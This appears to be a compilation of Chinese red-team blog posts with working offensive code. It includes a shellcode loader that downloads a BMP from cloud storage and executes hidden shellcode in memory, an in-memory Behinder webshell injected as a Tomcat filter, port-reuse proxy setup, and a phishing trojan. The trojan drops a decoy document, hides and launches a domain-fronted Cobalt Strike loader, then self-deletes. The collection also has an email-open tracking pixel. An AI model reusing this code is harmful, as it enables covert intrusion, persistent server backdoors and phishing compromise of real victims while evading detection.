//main.cpp
int main(int argc, char* argv[])
{
 if (argc < 2)
 {
  wprintf(L"Command: %S <SHELLCODE> ...\n", argv[0]);
  return -1;
 }
 CBMPHide hide;
 hide.setBmpFileName((char*)"test.bmp");
 printf_s("test.bmp width:%d,height:%d,bitCount%d\n",
  hide.getBmpWidth(),
  hide.getBmpHeight(),
  hide.getBmpBitCount());
 char * shellcode = argv[1];
 hide.hideString2BMP((char*)shellcode);
 hide.save();
 cout << shellcode << endl;
}

运行结果：

二、文件上传

进入阿里云控制台点击对象存储OSS，创建 Bucket，将读写权限改为公共读。

然后申请AccessKey创建成功将获取到AccessKeyID和AccessKeySecret。

https://usercenter.console.aliyun.com/#/manage/ak

使用aliyunSDK中的put_object_from_file方法上传单个文件

import oss2
import os
import random
import string
class OSS2():
    def __init__(self, accesskeyid, accesskeysecret, endpoint, bucket,
                 filename):
        self.accessid = accesskeyid 
        self.accesskey = accesskeysecret
        self.endpoint = endpoint  #OSS服务在各个区域的域名地址
        self.bucketstring = bucket #创建容器的名称
        self.filename = filename  # 上传的文件名
        self.ossDir = ""
        self.randt = "".join(
            random.sample([x for x in string.digits + string.digits], 12))
        self.connection()
    def connection(self):
        auth = oss2.Auth(self.accessid, self.accesskey)
        self.bucket = oss2.Bucket(auth, self.endpoint, self.bucketstring)
    def uploadFile(self):
        pathfile = (str(self.randt) + ".bmp")
        os.rename(self.filename, pathfile)
        remoteName = self.ossDir + os.path.basename(pathfile)
        print("remoteName is" + ":" + remoteName)
        print('uploading..', pathfile, 'remoteName', remoteName)
        result = self.bucket.put_object_from_file(remoteName, pathfile)
        url = "https://xxxx.oss-cn-beijing.aliyuncs.com/{}".format(pathfile)
        print('http_url: {} http_status: {}'.format(url,result.status))
if __name__ == '__main__':
    oss = OSS2(
        accesskeyid='xxxx',
        accesskeysecret='xxxx',
        endpoint='oss-cn-beijing.aliyuncs.com',
        bucket='xxxx',
        filename ='test.bmp'
    )
    oss.uploadFile()

三、远程加载

这里用WinHTTP库将上传在阿里云oss域名上的bmp图片内容远程读取到字符串中并获取alpha通道中隐藏的字节拼接shellcode，然后使用VirtualAlloc为shellcode分配内存。重要的是要注意，此内存页当前具有读取，写入和执行权限。之后，使用memcpy将shellcode移到新分配的内存页面中。最后，执行shellcode。

void download(const wchar_t *Url, const wchar_t *FileName, DownLoadCallback Func)
{
 URL_INFO url_info = { 0 };
 URL_COMPONENTSW lpUrlComponents = { 0 };
 lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
 lpUrlComponents.lpszExtraInfo = url_info.szExtraInfo;
 lpUrlComponents.lpszHostName = url_info.szHostName;
 lpUrlComponents.lpszPassword = url_info.szPassword;
 lpUrlComponents.lpszScheme = url_info.szScheme;
 lpUrlComponents.lpszUrlPath = url_info.szUrlPath;
 lpUrlComponents.lpszUserName = url_info.szUserName;
 lpUrlComponents.dwExtraInfoLength =
  lpUrlComponents.dwHostNameLength =
  lpUrlComponents.dwPasswordLength =
  lpUrlComponents.dwSchemeLength =
  lpUrlComponents.dwUrlPathLength =
  lpUrlComponents.dwUserNameLength = 512;
 WinHttpCrackUrl(Url, 0, ICU_ESCAPE, &lpUrlComponents);
 HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
 DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
 HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
 HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", lpUrlComponents.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
 WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
 WinHttpReceiveResponse(hRequest, 0);
 WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
 WinHttpCloseHandle(hRequest);
 hRequest = WinHttpOpenRequest(hConnect, L"GET", lpUrlComponents.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
 WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
 WinHttpReceiveResponse(hRequest, 0);
 BYTE *pBuffer = NULL;
 pBuffer = new BYTE[dwContentSize];
 ZeroMemory(pBuffer, dwContentSize);
 do {
  WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
  Func(dwContentSize, dwReadBytes);
 } while (dwReadBytes == 0);
 //cout << pBuffer << endl;
 BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;
 LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;
 char szTmp[1900];
 RtlZeroMemory(szTmp, 1900);
 for (int i = 0; i < 1900; i++)
 {
  if (*pStr == 0 || *pStr == 0xFF)
  {
   break;
  }
  szTmp[i] = *pStr;
  pStr += 4;
 }
 //printf_s(szTmp);
 unsigned int char_in_hex;
 unsigned int iterations = strlen(szTmp);
 unsigned int memory_allocation = strlen(szTmp) / 2;
 # 还原shellcode
 for (unsigned int i = 0; i < iterations / 2; i++) {
  sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);
  szTmp[i] = (char)char_in_hex;
 }
 void* abvc = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
 memcpy(abvc, szTmp, memory_allocation);
 DWORD ignore;
 VirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);
 (*(void(*)()) abvc)();
 delete pBuffer;
 WinHttpCloseHandle(hRequest);
 WinHttpCloseHandle(hConnect);
 WinHttpCloseHandle(hSession);
}
int main(int argc, char* argv[])
{
 download(L"https://xxxx.oss-cn-beijing.aliyuncs.com:80/xxxxx.bmp", L"./163Music", &dcallback);
}

自动化

思路和主要代码都给出来了，动动手就写出来了，这里我把以上功能做成Web在线生成的，采用模板化进行编译方便更新维护，有什么问题欢迎反馈交流。

0x04 参考链接

https://www.cnblogs.com/Matrix_Yao/archive/2009/12/02/1615295.html

https://blog.csdn.net/qq78442761/article/details/54880328

https://github.com/loyalty-fox/idshwk7

阅读原文

跳转微信打开

前言看了内存reGeorge之后，觉得很有趣，复现完之后开始想着怎么玩点骚的

前言

做了login me again之后，觉得很有趣，复现完之后开始想着怎么玩点骚的，在我们日常使用中，与其要做一个reGeorge（reGeorge mac内网不解析dns太坑了），实际上大马可能才是正在的需求，而开源工具中还是冰蝎大家最爱用，虽然现在被各种流量检测，但是各家都有自己的免杀手段，所以这里就简单的教大家如何把东西注入shiro+spring环境中（这个环境比较有代表性

原始的马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }
        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }%><%    if (request.getParameter("pass") != null) {        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);        session.putValue("u", k);        out.print(k);        return;    }    Cipher c = Cipher.getInstance("AES");    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

代码美化之后不难发现，里面使用了Tomact中的PageContext,位于javax.servlet.jsp.PageContext,但是在Springboot中实现的是只有tomcat核心，也就是阉割版本的tomacat，恰好这个是没有的，因此这么获取成了关键

PS: 关于没有PageContext的解决方案，之前已经有了一篇文章https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ ，最大的问题是要修改客户端，对我们这样的菜鸡来说很难，而且还让自己的工具包变臃肿，本次不再改变客户端的情况，完成内存马的注入

改造开始

下面基于读者已经理解了，如何写入reGeorge内存马为基础，如有疑问，请去查看 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 以及login me again wp

• 首先先了解冰蝎的执行思路

1. 密钥交换pass，pass存储在session中

2. AES解码后将传入的数据进行解码，解码后还原要加载的字节码，实例化后，调用equals函数，传入pageContext，通过pageContext带出回显

   String result = buildJson(entity, true);      String key = page.getSession().getAttribute("u").toString();      ServletOutputStream so = page.getResponse().getOutputStream();      so.write(Encrypt(result.getBytes(), key));      so.flush();      so.close();

• 于是乎我们对PageContxt的要求也就出来了

1. classname ： javax.servlet.jsp.PageContext
2. 实现 setResponse() getResponse() getSession() setRequest() getResponse()
3. 这里的response就需要调用当前环境中的response，所以就拿最简单的ServeletRequest,好消息是getSession这个函数也是自带的，就很舒服，只需要cast一下即可。

最后的PageContext

public class PageContext  {    ServletRequest request;    ServletResponse response;

    public Writer getOut(){        return null;    }
    public PageContext(ServletRequest request, ServletResponse response) {        this.request = request;        this.response = response;    }
    public PageContext(){
    }
    public void setRequest(ServletRequest request) {        this.request = request;    }
    public void setResponse(ServletResponse response){        this.response = response;    }
    public HttpSession getSession() {        HttpServletRequest test = (HttpServletRequest) this.request;        return test.getSession();    }

    public ServletRequest getRequest() {        return  this.request;    }

    public ServletResponse getResponse() {        return this.response;    }
}

我们可以尝试注入一下，这里我起了一个简单的shiro+springboot的环境

Ps:从github上直接找的环境，可能因为原生不带有commom-collection的包，所以无法打成功

• 这时候我们在VM中查看一下

  

发现我们成功注入了一个class，然后我天真的以为只需要像reGeorge一样，把代码复制进去即可

所以有了初始版本的Filter内存冰蝎

踩坑继续

package reGeorg;
import javax.servlet.*;import java.io.IOException;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.el.ELContext;import javax.servlet.http.*;import javax.servlet.jsp.JspWriter;import javax.servlet.jsp.PageContext;import javax.servlet.jsp.el.ExpressionEvaluator;import javax.servlet.jsp.el.VariableResolver;import java.util.Enumeration;import java.util.UUID;
public class MemBehinder implements javax.servlet.Filter{    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }


    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        class User extends ClassLoader {            User(ClassLoader c) {                super(c);            }
            public Class getUsername(byte[] b) {                return super.defineClass(b, 0, b.length);            }        }

        HttpServletRequest request = (HttpServletRequest) servletRequest;        HttpServletResponse response = (HttpServletResponse) servletResponse;        HttpSession session = request.getSession();        response.setHeader("flora", "florasa!!!");        if (request.getParameter("pass") != null) {            String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);            session.putValue("u", k);            response.getWriter().print(k);            return;        }        try{            PageContext pageContext = new PageContext(servletRequest,servletResponse);            Cipher c = Cipher.getInstance("AES");            SecretKeySpec sec = new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES");            c.init(2, sec);            String uploadString = request.getReader().readLine();            ClassLoader loader = this.getClass().getClassLoader();            User user = new User(loader);            byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));            Class username1 = user.getUsername(username);            username1.newInstance().equals(pageContext);        }catch (Exception ignored){            ;        }        filterChain.doFilter(request, response);
    }
    @Override    public void destroy() {
    }    public boolean equals(Object obj) {        Object[] context = (Object[]) obj;        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];        org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];        javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];
        try {            dynamicAddFilter(new MemBehinder(), "Behinder", "/*", request);        } catch (IllegalAccessException e) {            e.printStackTrace();        }
        return true;    }
    public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {        javax.servlet.ServletContext servletContext = request.getServletContext();        if (servletContext.getFilterRegistration(name) == null) {            java.lang.reflect.Field contextField = null;            org.apache.catalina.core.ApplicationContext applicationContext = null;            org.apache.catalina.core.StandardContext standardContext = null;            java.lang.reflect.Field stateField = null;            javax.servlet.FilterRegistration.Dynamic filterRegistration = null;
            try {                contextField = servletContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);                contextField = applicationContext.getClass().getDeclaredField("context");                contextField.setAccessible(true);                standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);                stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");                stateField.setAccessible(true);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);                filterRegistration = servletContext.addFilter(name, filter);                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");                filterStartMethod.setAccessible(true);                filterStartMethod.invoke(standardContext, null);                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            } catch (Exception e) {                ;            } finally {                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);            }        }    }}

报错汇总如下：

1. 无法new一个新的PageContext
2. 无法调用class U中的方法

这时候回忆一下我们的流程：

1. 注入PageContext并实例化
2. 注入冰蝎并实例化

但是我们要思考new是一个怎么样的过程

1.首先去JVM 的方法区中区寻找类的class对象，如果能找到，则按照定义生成对象，找不到则转2
2.加载类定义：类加载器（classLoader）寻找该类的 .class文件，找到后对文件进行分析转换为class对象存入方法区方便以后调用。
    其中jdk 的class一般是在jvm启动时用启动类加载器完成加载，用户的class则是在用到的时候再加载。
    Java中ClassLoader的加载采用了双亲委托机制，采用双亲委托机制加载类的时候采用如下的几个步骤：1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载，如果已经加载则直接返回原来已经加载的类。每个类加载器都有自己的加载缓存，当一个类被加载了以后就会放入缓存，等下次加载的时候就可以直接返回了。2.  当前classLoader的缓存中没有找到被加载的类的时候，委托父类加载器去加载，父类加载器采用同样的策略，首先查看自己的缓存，然后委托父类的父类去加载，一直到bootstrp ClassLoader.3.  当所有的父类加载器都没有加载的时候，再由当前的类加载器加载，并将其放入它自己的缓存中，以便下次有加载请求的时候直接返回。
PS：方法区：在一个jvm实例的内部，类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中
于是即使有了实例化的class，也不能使其在方法区有一席之地，但是他有没有文件，所以就无法被ClassLoader加载，也就导致了上述的问题

解决方案

1. 自定义的类加载器：

   因为我们不能实例化自己的类加载器，所以我们就使用反射的方法，调用ClassLoard，不过这里也有一个坑点，就是抽象类，是不可以作为invoke()的第一个参数，所以要使用一个他的继承类作为替代品

	Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod(    	            "defineClass",    	            byte[].class,    	            int.class, int.class);    	    method.setAccessible(true);    byte[] evilclass_byte = c.doFinal(evil_bytes);            Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(),                    evilclass_byte,0,                    evilclass_byte.length);

2.PageContext： 由于我们只有一个实例化的class，我的方案就是服用他，将他作为一个属性，注入到冰蝎马的实例过程中，即设置一个含参的构造方法

public MemBehinder2(PageContext pageContext){       this.pageContext = pageContext;    		}

• 最后实现成果

• 出现密钥交互

• 连接成果

总结

1. 冰蝎出现密钥交互，并不代表成功了，原因在于密钥交互的回显用的并不是PageContext，不能作为我们注入成功的依据
2. 学会研究报错，报错会告诉我们哪里出了问题
3. FB师傅tql

阅读原文

跳转微信打开

C++OXID_Find 通过OXID解析器获取Windows远程主机上网卡地址

数据解析过程

规律：

每一个String Binding都以\x07\x00开头。

每一个StringBinding都以\x00\x00分割，一直到第一个Security Binding是\x09\x00开头。

因此，当recv的数据直到\x09\x00结束，开头就比较好办了，第四个数据包起始位置往后偏移42个字节就可以到达第一个String Binding。

C++

OXID_Find by C++（多线程） 通过OXID解析器获取Windows远程主机上网卡地址

https://github.com/uknowsec/OXID_Find

> OXID_Find.exe

Author: Uknow
Github: https://github.com/uknowsec/OXID_Find
usage: OXID_Find.exe -i 192.168.0.1
usage: OXID_Find.exe -c 192.168.0.1/24

Csharp

OXID_Find by Csharp（多线程） 通过OXID解析器获取Windows远程主机上网卡地址 From @RcoIl

学习@RcoIl师傅的代码SharpOXID-Find,加了个多线程，支持cidr格式传入ip地址。

强推一波@RcoIl师傅csharp代码库CSharp-Tools。正在学习csharp的同学可以关注学习~

https://github.com/rcoil

https://github.com/RcoIl/CSharp-Tools

https://github.com/RcoIl/CSharp-Tools/tree/master/SharpOXID-Find

https://github.com/uknowsec/SharpOXID-Find

> SharpOXID-Find.exe

usage: SharpOXID_Find.exe -i 192.168.0.1
usage: SharpOXID_Find.exe -c 192.168.0.1/24

Python

https://github.com/Rvn0xsy/OXID-Find/

> python2 finsubnet.py

usage: finsubnet.py [-h] -i IP [-t THREADS] [-o OUTPUT]
finsubnet.py: error: argument -i/--ip is required

References

https://payloads.online/archivers/2020-07-16/1

阅读原文

跳转微信打开

sunshine师傅提到的端口复用方案，实践并分享一下。

前言

前段日子A-team群里的师傅sunshine，讲到了一个端口复用的方案，并发了几个工具，这里简单记录实践一下。

frsocks+protoplex+流量重定向实现端口复用

frsocks

https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go

监听本地的2333端口开启一个socks5代理。

./frsocks -sockstype fsocks -listen 2333

protoplex

https://github.com/Pandentia/protoplex

这是一个协议复用的工具，比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口。

注: 在实战环境中，先用protoplex进行分流，然后在进行重定向。

./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999

同时该工具还支持其他协议的分流，如：

• SSH

• HTTP

• TLS (/ HTTPS)

• OpenVPN

• SOCKS4 / SOCKS5

流量重定向

linux

将访问80的流量重定向到9999端口

sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999

windows

将本地80流量重定向到9999

netsh interface portproxy add v4tov4 listenport=80 listen
address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129

相关操作命令：

显示系统中的转发规则列表：

netsh interface portproxy show all

删除指定的端口转发规则：

netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.154.129 

清除所有当前的端口转发规则：

netsh interface portproxy reset

效果

站在巨人的肩膀上。

本文思路和工具都来自sunshine，仅仅记录分享一下。

阅读原文

跳转微信打开

本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富 。关于邮件投递的问题，后续我们展开来讲。

        本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富 。关于邮件投递的问题，后续我们展开来讲。

        在红队工作中，往往长时间无法打到一个据点，鱼叉攻击会是最常见的攻击快速的手段，根据场景制定不同的邮件样本会得到意想不到的效果。

0x01 木马思路

        将样本自身图标伪装成图片或文档，运行样本之后释放资源中的相应的DOC文档以及加载器并设置隐藏文件属性，然后创建进程远程请求域前置服务端解密shellcode并加载到内存中运行，依次打开用于社工掩护的word文档迷惑目标，程序判断运行完毕并删除自身。

实现流程

开发工具：Visual Studio 2017

一、资源释放

思路：①加载文件到工程中，②使用函数查找资源，③创建文件，④写入资源。

1.在项目工程上点击右键，选择“添加资源”；

2.选择"导入"项，选择“所有文件”，选择要导入的文件

3.会弹出命名自定义资源类型的对话框，自定义我们的资源类型；

4.点击确定后，完成导入，"Ctrl+S"保存二进制资源文件；

5.可以在自动添加的“resource.h”头文件中看到资源ID宏；

6.编程实现载入资源。

• EXE资源载入文件代码：

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <Windows.h>
#include "resource.h"
using namespace std;
typedef VOID(*Func)(VOID);
char *randstr(char *str, const int len)
{
    srand(time(NULL));
    int i;
    for (i = 0; i < len; ++i)
    {
        switch ((rand() % 3))
        {
        case 1:
            str[i] = 'A' + rand() % 26;
            break;
        case 2:
            str[i] = 'a' + rand() % 26;
            break;
        default:
            str[i] = '0' + rand() % 10;
            break;
        }
    }
    str[i] = '\0';
    return str;
}
BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)
{
    // 找到资源
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);
    // 获取资源大小
    DWORD dwSize = SizeofResource(NULL, hRsrc);
    // 载入资源
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    // 锁定资源，并返回指向资源第一字节的指针
    LPVOID lpRes = LockResource(hGlobal);
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD dwWriten = 0;
    BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);
    CloseHandle(hFile);
    CloseHandle(hGlobal);
    CloseHandle(hRsrc);
    return TRUE;
}
int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    char name[20];
    char *exe = randstr(name, 8);
    ZeroMemory(SaveFile, MAX_PATH);
    GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);
    const char * FileName = "\\";
    strcat_s(SaveFile, FileName);
    strcat_s(SaveFile, exe);
    strcat_s(SaveFile, TEXT(".exe"));
    BOOL wRes = ReleaseLibrary(IDR_KKKPPC1, (CHAR*)"KKKPPC", (CHAR*)SaveFile);
            BOOL bRes = ReleaseLibrary(IDR_LGASD1, (CHAR*)"LGASD", (CHAR*)"关于XXXXX.docx");
}

运行样本之后，在%TEMP%目录下释放shellcode加载器以及相应内容的DOC文档，

二、文件隐蔽

使用Attrib +s +h命令把原本的文件增加了系统文件属性、隐藏文件属性。

这样该文件就不能在目录中被发现，但是仍然存在可以访问

attrib C:\Users\ThinkPad\AppData\Local\Temp\jqR78D62.exe  +s +h 

三、创建进程

使用CreateProcess()创建进程，这里配合的是uknow师傅的[shellcode远程加载器改造计划]，去配合DoaminFronting 远程动态AES加密加载shellcode。

https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ

        PROCESS_INFORMATION pi;
        STARTUPINFO si = { sizeof(si) };
        si.cb = sizeof(si);
        si.wShowWindow = TRUE;
        strcat_s(SaveFile, TEXT(" http://qq.com/api DomainFronting"));
        BOOL bRet = CreateProcess(
            NULL,//不在此指定可执行文件的文件名
            SaveFile,//命令行参数
            NULL,//默认进程安全性
            NULL,//默认进程安全性
            FALSE,//指定当前进程内句柄不可以被子进程继承
            CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
            NULL,//使用本进程的环境变量
            NULL,//使用本进程的驱动器和目录
            &si,
            &pi);

最后打开诱饵文件，此时cobalt strike已经成功上线。

ShellExecute(NULL, "open", "关于XXXXX.docx", NULL, NULL, SW_SHOW);

四、痕迹清除

删除自身程序代码：

// this is the name of the temporary .bat file
static const char tempbatname[] = "_uninsep.bat" ;
void Selfdestruct() 
{
  // temporary .bat file
  static char templ[] = 
    ":Repeat\r\n"
    "del \"%s\"\r\n"
    "if exist \"%s\" goto Repeat\r\n"
    "rmdir \"%s\"\r\n"
    "del \"%s\"" ;
  char modulename[_MAX_PATH] ;    // absolute path of calling .exe file
  char temppath[_MAX_PATH] ;      // absolute path of temporary .bat file
  char folder[_MAX_PATH] ;
  GetTempPath(_MAX_PATH, temppath) ;
  strcat(temppath, tempbatname) ;
  GetModuleFileName(NULL, modulename, MAX_PATH) ;
  strcpy (folder, modulename) ;
  char *pb = strrchr(folder, '\\');
  if (pb != NULL)
    *pb = 0 ;
  HANDLE hf ;
  hf = CreateFile(temppath, GENERIC_WRITE, 0, NULL, 
              CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) ;
  if (hf != INVALID_HANDLE_VALUE)
  {
    DWORD len ;
    char *bat ;
    bat = (char*)alloca(strlen(templ) + 
               strlen(modulename) * 2 + strlen(temppath) + 20) ;
    wsprintf(bat, templ, modulename, modulename, folder, temppath) ;
    WriteFile(hf, bat, strlen(bat), &len, NULL) ;
    CloseHandle(hf) ;
    ShellExecute(NULL, "open", temppath, NULL, NULL, SW_HIDE);
  }
}

假设要销毁自身的可执行文件位于c：\ myfolder \ selfdestruct.exe中。该Selfdestruct()函数将在计算机的temp文件夹中创建以下.bat文件，然后启动它：

:Repeat
del "c:\myfolder\selfdestruct.exe"
if exist "c:\myfolder\selfdestruct.exe" goto Repeat
rmdir "c:\myfolder"
del "c:\temp\_uninsep.bat" ;

.bat文件将循环删除c：\ myfolder \ selfdestruct.exe，直到最终成功（即selfdestruct.exe完成执行后。）然后尝试删除包含的文件夹（此处为c：\ myfolder），只有当它为空时才起作用，最后将其自身删除。

效果演示

鱼竿感知

如果平常去河边钓鱼，要使用浮漂才会知道这条河是否有鱼吃饵料，同理当邮件投递出去后，判断目标是否点击了邮件，不至于那么的苦等，这里我丢一个简单的demo,实际上它是可以写成一个框架的。

stat.php

<?php
    include "c/functions.php";
    include "c/db.php";
    $vrfy=get_request( false, "vrfy");
    if ( $vrfy<>"" ){
        echo "Vrfy OK";
        exit;
    }
    pub_getstatparas( $mail_id, $email, $randcode );
//function pub_getstatparas( &$amailid, &$aemail, &$arandcode ){
//    $p = get_request( false, "p" );
//
//    if  (strlen($p)>0 ){
//        //解密 BASE64
//        $p = base64_decode( $p );
//        $paras = explode( "?", $p );
//        $npara = count( $paras )-1;
//
//        $arandcode=0;
//        if ( $npara >= 1 ){
//            $amailid = $paras[0];
//            $aemail = $paras[1];
//            if ( $npara >= 2 ){
//                $arandcode = $paras[2];
//            }
//        }
//
//        $amailid = URLDecode( $amailid );
//
//        if ( ! is_numeric( $arandcode ) )
//            $arandcode = 0;
//
//        //防止标识超过长度限制
//        if ( strLen( $amailid)>20 )
//            $amailid = substr( $amailid, 0, 20 );
//    }
//}
    $berror = false;
    //' 记录统计
    if ( $mail_id<>"" and strlen($mail_id)>0 and strpos( $email, "@" )>1 ){
        //'读取黑白名单设置
        $badd = get_isadd( $mail_id, $email );
        //' 需要添加记录
        if ( $badd ){
            $cls_db = new class_database;
            $cls_db->OpenConnect();
            $cmd = "SELECT * FROM `stat` WHERE mail_id=?;";
            $p =  array ( $mail_id );
            $cls_db->getrecords( $cmd, $p, $db );
            //'添加统计记录
            $rs = $db->fetch();
            if ( $rs )
            {
                $id = $rs["id"];
                $n = $rs["mail_read"];
                $n ++;
                $n = $cls_db->execsql( "UPDATE stat SET mail_read=$n WHERE id=$id" );
                // 判断 list 表中是否有这个地址
                $cmd = "SELECT * FROM [list] WHERE mailid=? AND email=? LIMIT 0,1;";
                $p = array ( $id, $email );
                $cls_db->getrecords($cmd, $p, $db2);
                $rs2 = $db2->fetch();
                if ( !$rs2 )
                {
                    $n = $rs["mail_read_2"];
                    $n++;
                    $n = $cls_db->execsql( "UPDATE stat SET mail_read_2=$n WHERE id=$id" );
                }
            }
            else{
                $mt = $cls_db->m_connect->prepare( "INSERT INTO stat(mail_id, mail_read, mail_read_2) VALUES(?, 1, 1)");
                $mt->execute( array( $mail_id ) );
            }
            // 重新获取ID
            $cmd = "SELECT * FROM `stat` WHERE mail_id=?;";
            $p =  array ( $mail_id );
            $cls_db->getrecords( $cmd, $p, $db );
            $rs = $db->fetch();
            $id = $rs["id"];
            //'添加详细记录
            try{
                //var_dump( $_SERVER );
                $ip =  $_SERVER['REMOTE_ADDR'];
                $agent = $_SERVER["HTTP_USER_AGENT"]; 
                $t = date('Y-m-d H:i:s',time());
                $mt = $cls_db->m_connect->prepare( "INSERT INTO list(mailid, ip, client, email, date, randcode) VALUES(?, ?, ?, ?, ?, ? );");
                $mt->execute( array( $id, $ip, $agent, $email, $t, $randcode) );
            }catch(PDOException $e)
            {
                echo $e->getMessage();
                $berror = true;
            }
            $cls_db->CloseConnect();
        }
    }
    if ( ! $berror )
    {
        header( "Content-Type: image/gif" );
        readfile("images/blank.gif");
        exit;
    }
?>